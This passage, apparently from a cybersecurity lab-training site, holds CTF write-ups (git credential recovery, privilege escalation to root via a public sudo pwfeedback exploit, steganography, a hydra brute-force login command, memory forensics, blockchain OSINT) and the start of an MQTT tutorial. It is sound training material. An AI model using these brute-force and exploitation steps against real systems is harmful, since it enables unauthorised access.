sensitive data. 4. Unearthing Credentials https://github.com/internetwache/GitTools cd GitTools After cloning the git repository, the command git log | grep "commit" | cut -d " " -f2 | xargs git show was used to extract and decode commits. This command sequence is useful for examining commit histories to find potentially leaked sensitive information. git log | grep "commit" | cut -d " " -f2 | xargs git show The credentials were found encoded in Base64 within the commit messages: mail=tetris@gmail.com: passwd=VDdpM19pM181ZXJlY3RfN2E1NXcwcmQ=, which decodes to T7i3_i3_5erect_7a55w0rd. username= testris@gmail.com password=T7i3_i3_5erect_7a55w0rd 5. Securing the Flag With the decoded credentials in hand, I used them to log in through the login.html page. Upon successful authentication, It was redirected to the /secret.php page, where the first flag was revealed. Challenge 2: Loophole Discovery After completing the initial challenge, I resumed with another round of port scanning to uncover further points of attack. This scan highlighted an active SSH service on the target. 1. Further Reconnaissance A subsequent port scan revealed that SSH (port 22) was open, providing an ideal vector for utilizing the credentials discovered earlier. This allowed for direct access to the system’s shell. ssh tetris@IPaddress 2. Identifying Vulnerable Sudo Version Once inside the shell, I employed various strategies to escalate privileges. Noticing the sudo version was 1.8.21, an older and known exploitable version, I identified a potential avenue for attack. The presence of password feedback (asterisks when typing the password) confirmed that pwfeedback was enabled, a feature vulnerable to specific exploits. sudo –version Sudo Version Check: Research on Google led me to an exploit in the Exploit Database that could leverage this vulnerability (CVE-2019-18634). Exploit Repository: CVE-2019-18634 3. Gaining Root Access I cloned the exploit script from GitHub: git clone https://github.com/Plazmaz/CVE-2019-18634/ cd CVE-2019-18634 /self-contained.sh Running the ./self-contained.sh script from the cloned repository exploited the pwfeedback buffer overflow vulnerability, successfully granting root access. This allowed me to locate a critical document inside /root/locker/. Conclusion The Case Unlocked challenge is a testament to the comprehensive and practical learning approach offered by Selfmade Ninja Lab cloud lab training for aspiring IT students. By engaging with real-world scenarios, participants not only enhance their technical skills but also build the confidence to tackle complex cybersecurity challenges in the field. Let the mission begin—empower your skills with Selfmade Ninja Labs!

Case Unlocked: Yukthi CTF 2024 Prelims Read More »

Mystery 013

Mastering the Mystery 013 – Yukthi CTF 2024 Prelims: A Cyber Forensics Journey

Introduction to Mystery 013 "Mystery 013" is an engaging digital forensics challenge introduced in the Yukthi CTF 2024 prelims, designed for aspiring IT students interested in cyber investigation and decryption. This challenge offers a hands-on experience with key digital forensics skills essential for professionals in the field. Getting Started with Mystery 013 Before diving into the challenge, follow these steps to set up your environment using Selfmade Ninja Lab’s cloud lab training for aspiring students: Create an Account Visit Selfmade Ninja Labs to sign in (click here) If you don’t have an account, register at Selfmade Ninja Git (click here) Activate WireGuard Activate WireGuard to establish a secure connection. Access Machine Labs Navigate to Selfmade Ninja Labs and click Machine Labs to open the dashboard. Locate the Challenge On the left navbar, click the My Lab dropdown, then select Challenge Lab. Browse the list of challenges, search for Mystery 013, and click the Challenge button. Start the Mission On the challenge page, click the Deploy Lab button at the top right, then hit Start Mission. Note down the IP address provided. Configure the required port forwarding to begin your adventure! The Challenge Begins he adventure starts with a seemingly simple image. However, buried within its pixels are secrets waiting to be uncovered. Participants must first use steganography techniques to reveal the concealed data hidden within the image—an essential skill in digital image forensics training. Brute Force and Code Cracking After uncovering the hidden data, participants are tasked with applying brute force techniques to crack encryption codes, a critical skill for breaking down security layers. This stage enhances the ability to access crucial information, a valuable asset in cloud lab training for aspiring IT students in environments like the Selfmade Ninja Lab. RAM Analysis and Beyond The final phase is where participants dive into RAM analysis, examining memory dumps to extract significant information—emulating real-world cyber investigation. This step teaches effective techniques in memory analysis, helping participants build confidence in handling real cyber forensics cases. Key Skills Developed Digital image forensics Effective decryption techniques Analyzing memory dumps for evidence Enumeration Initial Reconnaissance We start our challenge by identifying open ports on the target IP using the nmap command. This crucial step helps us find potential entry points on the server. nmap -p- IPaddress Exploring Port 84 Upon discovering that port 84 is open, we navigate to it only to find a web interface. This web interface presented another puzzle in the form of an image which we decided to download for further analysis. Steganographic Extraction Using Steghide, a tool for embedding and extracting data hidden within images or audio files, we extracted contents from the image: sudo apt install steghide steghide extract -sf hid.jpeg cat secret.txt echo “LOVtcGxPeWUxMg==” | base64 -d This revealed a file named secret.txt, which contained an encrypted key in Base64. Decoding this key unveiled an endpoint, /EmplOye12. Navigating to this endpoint displayed detailed information about employees without requiring login credentials. Brute Force Attack Using the names found on the employees’ details page, we crafted a wordlist with cewl, a tool that generates custom wordlists by spidering a target’s website and collecting unique words cewl http://ipaddress:port/EmplOye12 >> wordlist.txt This list was then used to conduct a brute force attack with hydra, a popular network logon cracker, which successfully cracked the login credentials for the username "Chris". hydra -L wordlist.txT -P wordlist.txt IPaddress http-post-form " /logic/v1/login:user=^USER^&password=^PASS^:login failed" Using these credentials, we accessed the login page and successfully breached it, unveiling the first flag. username: Chris password: hacking Image Insight: The Second Challenge After successfully accessing the page with the necessary credentials, we found ourselves needing to answer questions about Case 013. The answers were believed to be hidden in a RAM image extracted from the suspect’s computer. RAM Analysis Introduction to Volatility Volatility is an open-source memory forensics framework for incident response and malware analysis. It helps investigators analyze volatile memory (RAM) to extract artifacts that provide insight into the runtime state of the system. Installing Volatility To use Volatility, you typically need Python on your system. You can install Volatility by cloning its repository from GitHub and then installing it through Python’s pip tool: git clone https://github.com/volatilityfoundation/volatility.git cd volatility pip install . Using the Volatility tool, we began dissecting the RAM image to uncover the required information. We started with the imageinfo command to identify the system architecture: volatility -f testing.vmem imageinfo This command confirmed the architecture as WinXPSP2x86. Upon entering the architecture data on the browser and verifying it, we received confirmation that our answer was correct. Detailed Analysis Using Volatility Plugins We proceeded to use various Volatility plugins to answer the remaining questions on the case tab: OS & Architecture: Confirmed as WinXPSP2x86 through the imageinfo plugin. Process IDs: Identified VMwareService.exe (PID: 1444) and winlogon.exe (PID: 632) using the pslist plugin. Shutdown Date: The last shutdown date was pinpointed as 2011-10-10 with the shutdowntime plugin. Remote Connection: Uncovered a connection to 172.16.98.1:6666 via the connscan plugin. Executed Commands: Found the last executed command sc query malware using the consoles plugin. Internet Explorer History: Detected an open HTML file license.html during the memory capture with the iehistory plugin. Using the extracted data, we addressed all the questions posed on the case page, leveraging the insights gained to piece together the motives behind the criminal’s actions and uncover the secrets hidden within the mysterious file. This comprehensive analysis ultimately led us to secure the second flag. Conclusion “Mystery 013” is a comprehensive digital forensics challenge, immersing aspiring IT students in a journey through steganography, code cracking, and memory forensics. It is an excellent training ground for those interested in cyber security and investigation roles, supported by Selfmade Ninja Lab’s cloud lab training for aspiring IT students. This challenge is not only a practical exercise but a valuable learning experience for participants looking to develop forensic and cyber investigation skills in a high-stakes environment.

Mastering the Mystery 013 – Yukthi CTF 2024 Prelims: A Cyber Forensics Journey Read More »

A Blockchain OSINT Challenge

Case 118 Unlocked: A Blockchain OSINT Challenge Guide

Introduction Case 118 Unlocked presents an exciting blockchain-based OSINT challenge on the Binance Smart Chain (BSC) testnet, designed to hone your investigative and technical skills. The mission? To uncover leaked API keys and identify the miner of a specific block. While the objective may seem straightforward, the intricate journey to uncover the clues makes this challenge a true test of expertise. Skills Learned Understanding Blockchain and BSC Testnet Exploring BscScan OSINT Steps to Get Started To begin the challenge, follow these initial steps: Sign In or Create an Account: Visit Selfmade Ninja Labs to sign in (click here) If you don’t have an account, create one via Git Selfmade Ninja (click here) Activate the WireGuard VPN: Follow the VPN setup process to ensure secure access. Access the Machine Labs Dashboard: Go to Selfmade Ninja Labs and click Machine Labs on the dashboard. Navigate to Challenge Labs: On the left navbar, expand the My Lab dropdown and select Challenge Lab. Search for Case 118: Browse the list of challenges, find Case 118 Unlocked, and click the challenge button. Deploy the Lab: Use the Deploy button on the top right to launch the lab, then click Start Mission. Note the provided IP address for the lab and forward it to your local environment using VS Code for port forwarding. Enumeration At the heart of Mylapore Police Station’s digital infrastructure lies a decentralized network, safeguarding criminal records with cutting-edge technology. Yet, amidst its digital fortification, a case known as Ninja[0104EF] lurks in the shadows, its secrets locked away, waiting for a skilled individual to unearth the truth. Tied to this enigma is a vital secret key, its security compromised, threatening the integrity of the entire system. The challenge? To dive deep into the network’s abyss, retrieve the leaked key, and restore order. The Journey Begins: Initial Reconnaissance with Nmap: The first step into the unknown began with a simple yet powerful command: nmap -p- , scanning all ports to reveal that port 84 was ajar, inviting further investigation. Exploring Port 84: Venturing into port 84 through my browser, a WebUI unfolded, hinting at the complexity of what lay ahead. it ask key to enter. Case PDF Analysis: Within the brief, a case PDF emerged, teeming with addresses. These digital fingerprints belonged to contract creators on the BSC testnet, key pieces of the puzzle. Upon further analysis and verification through the BSCScan test network, it was determined that these contracts are associated with a owner: 0x6AA8CBD6B3da0528d7B27926B0ba3e9BE724c573. Identifying the Crucial ID: Go to bscscan tetnet and put that identified correct address i start research, in that adress lot of contract as deployed – Ninja Contract Discovery: Clues hinted at a "Ninja contract," with an ID ending in "0104EF" in brief, This was the breakthrough moment, leading to the pivotal discovery of the contract. below i click that contract button it give contracts like sna.sol and context.sol Key Discovery: The contract held the first clue—line 174 th line of sna.sol unveiled the leaked key. Placing this key within the web interface, the first flag was captured, a testament to persistence and acumen. Foothold With the first mystery unraveled, attention shifted to the mastermind behind the network’s turmoil. Armed with an ID [0x5e889124afe0658b00ffa59fd16e52e2c7d96a48811f777f320e791b2aa91e1f]and driven by the clues gathered, the next phase was to track down the architect of chaos, ensuring the Mylapore Police Station’s records’ security. Navigating the Network: Deep Dive into Blockchain Analysis: With the ID in hand, the blockchain yielded its secrets, Put that transection hash in search bar you got details about that transection here you can see Block number 36000232. click that block number . After click that block who mined that block what it means that second challenge is to find that miners In the Yukthi CTF 2024 prelims, navigating these challenges required a blend of technical expertise, patience, and a touch of creativity. Each flag captured reflects not only victory but also the deep learning and strategic thinking fostered by Selfmade Ninja Lab cloud lab training for aspiring IT students. This challenge journey showcases the value of cybersecurity knowledge, demonstrating how storytelling and technical skills make each task an engaging experience.

Case 118 Unlocked: A Blockchain OSINT Challenge Guide Read More »

Hosting MQTT Service in Selfmade Ninja Labs

Welcome to the Guide on Setting Up and Using MQTT in Selfmade Ninja Labs Welcome to your comprehensive guide on configuring and leveraging MQTT within Selfmade Ninja Lab cloud lab training for aspiring IT students! In this tutorial, we will walk you through how to effectively use MQTT (Message Queuing Telemetry Transport)—a lightweight and efficient messaging protocol designed for real-time data exchange, IoT solutions, and device communication. By integrating MQTT into the Selfmade Ninja Lab environment, you’ll unlock powerful tools to enhance your projects and development skills. Whether you’re building IoT applications, streamlining communication between devices, or optimizing data flow, MQTT is an essential protocol for IT professionals. Let’s dive into the details and get started! Prerequisites Before diving into MQTT configuration, ensure you have the following: Access to a Selfmade Ninja Lab account (Sign up here). Basic knowledge of MQTT concepts Why Host Your MQTT Service in Selfmade Ninja Lab? Using Selfmade Ninja Lab cloud lab training for aspiring IT students offers distinct advantages: High-Speed Internet: Ensures seamless operations for your MQTT services. Robust DoS Protection: Safeguards your applications against attacks. User-Friendly Interface: Easy to set up and navigate. Round-the-Clock Availability: Access your services anytime 24/7. Free Enhancements: Includes complimentary tools like MongoDB, Memcache, and more. Real-Time Learning: Experiment with cutting-edge technologies in a safe environm Publisher: Imagine you have a weather station that collects temperature data from various sensors located across a city. This weather station acts as an MQTT publisher. It generates real-time temperature readings from these sensors and publishes this data to an MQTT broker under a specific topic, such as "city/weather/temperature." The MQTT broker {rabbitmq}, acting as a central hub, receives this data from the publisher. Subscriber On the other side of the equation, there are residents in the city who want to stay updated on the current temperature in their neighborhood. They have a weather app on their smartphones that serves as an MQTT subscriber. This weather app has subscribed to the "city/weather/temperature" topic on the MQTT broker. As a subscriber, it doesn’t send messages but actively listens for updates RabbitMq server RabbitMQ is an open-source message broker used to facilitate communication between components in a distributed system. It enhances system reliability, scalability, and decouples components for independent operation. RabbitMQ primarily supports the Advanced Message Queuing Protocol (AMQP) but also offers compatibility with protocols like MQTT and STOMP, making it versatile for different integration needs. It’s a critical tool for building efficient and robust distributed applications Configuring MQTT in Selfmade Ninja Labs Log in to the Selfmade Ninja Labs Dashboard: To get started, visit https://labs.selfmade.ninja/ and then click on "login with our Gitlab." To get started, simply click on "Machine Labs," which serves as the gateway to our virtual laboratory. Here, you’ll find a wide range of resources and tools to support your learning and experimentation. Additionally, it’s worth noting that even if you’re a free user, you can still take advantage of the lab; however, there may be some limitations imposed on your access or features. Upon entering the laboratory, your next step is to access the lab through the code server. To do this, simply click on "Machine Labs." Inside Machine Labs, you’ll discover a plethora of labs, each one remarkable in its own unique way. These labs offer a diverse range of learning and experimentation opportunities, allowing you to explore and engage with various topics and tools. To begin your journey, navigate to the Essential lab section and click on "Code." This Essential lab serves as your personal computer located remotely, providing you with a powerful platform to perform tasks, experiments, and coding exercises Once you reach this stage, follow these steps to proceed smoothly: First, you’ll notice a popup on your screen. Within the popup, you should locate and copy the code server password. With the password in hand, proceed by clicking "Launch Code IDE." This action will open the code environment directly in your web browser, providing you with a convenient and accessible workspace for your coding tasks and projects. As you initiate the code IDE, you’ll encounter a password prompt. Simply paste the previously copied password into the prompt field. After doing so, all that’s left to do is wait for the magic to happen. The code environment will initialize, granting you access to a powerful workspace for your coding endeavors. With the password successfully entered, you now have full access to the code server. To open the terminal within the code server environment, simply press Ctrl and the backtick (`) button simultaneously. This action will grant you direct access to the terminal, providing you with a versatile tool for executing commands and managing your coding tasks efficiently. "Congratulations! 🎉 You’ve successfully accessed the code server in your browser. You’re now ready to dive into the world of MQTT and RabbitMQ services in SNA Lab. Let’s get started!" Accessing the RabbitMQ Service in Your Browser Navigate to the service tab using this link: https://labs.selfmade.ninja/services. Once on the service tab, locate the "VS Code Web" command and copy it. Now, proceed by clicking the "Manage" button. This action will allow you to configure. Begin by opening the code server environment. Inside the code server terminal, paste the previously copied "socat" command. what is socat and why? socat is a versatile command-line utility for networking tasks. It enables bidirectional data streams between two endpoints and serves various purposes, including port forwarding, proxying, file transfers, serial communication, and encryption. It’s a valuable tool for network administrators, developers, and security professionals to establish, monitor, and manipulate network connections. In your specific case, socat was used to bridge a local port to a remote service, allowing you to access and interact with the remote service as if it were running on your local machine. This is particularly useful for remote development and accessing services in virtual environments. Navigate to the port tab, where you’ll find a specific link. Copy the URL provided within the port tab. Now, paste this URL into your

Hosting MQTT Service in Selfmade Ninja Labs Read More »

Scroll to Top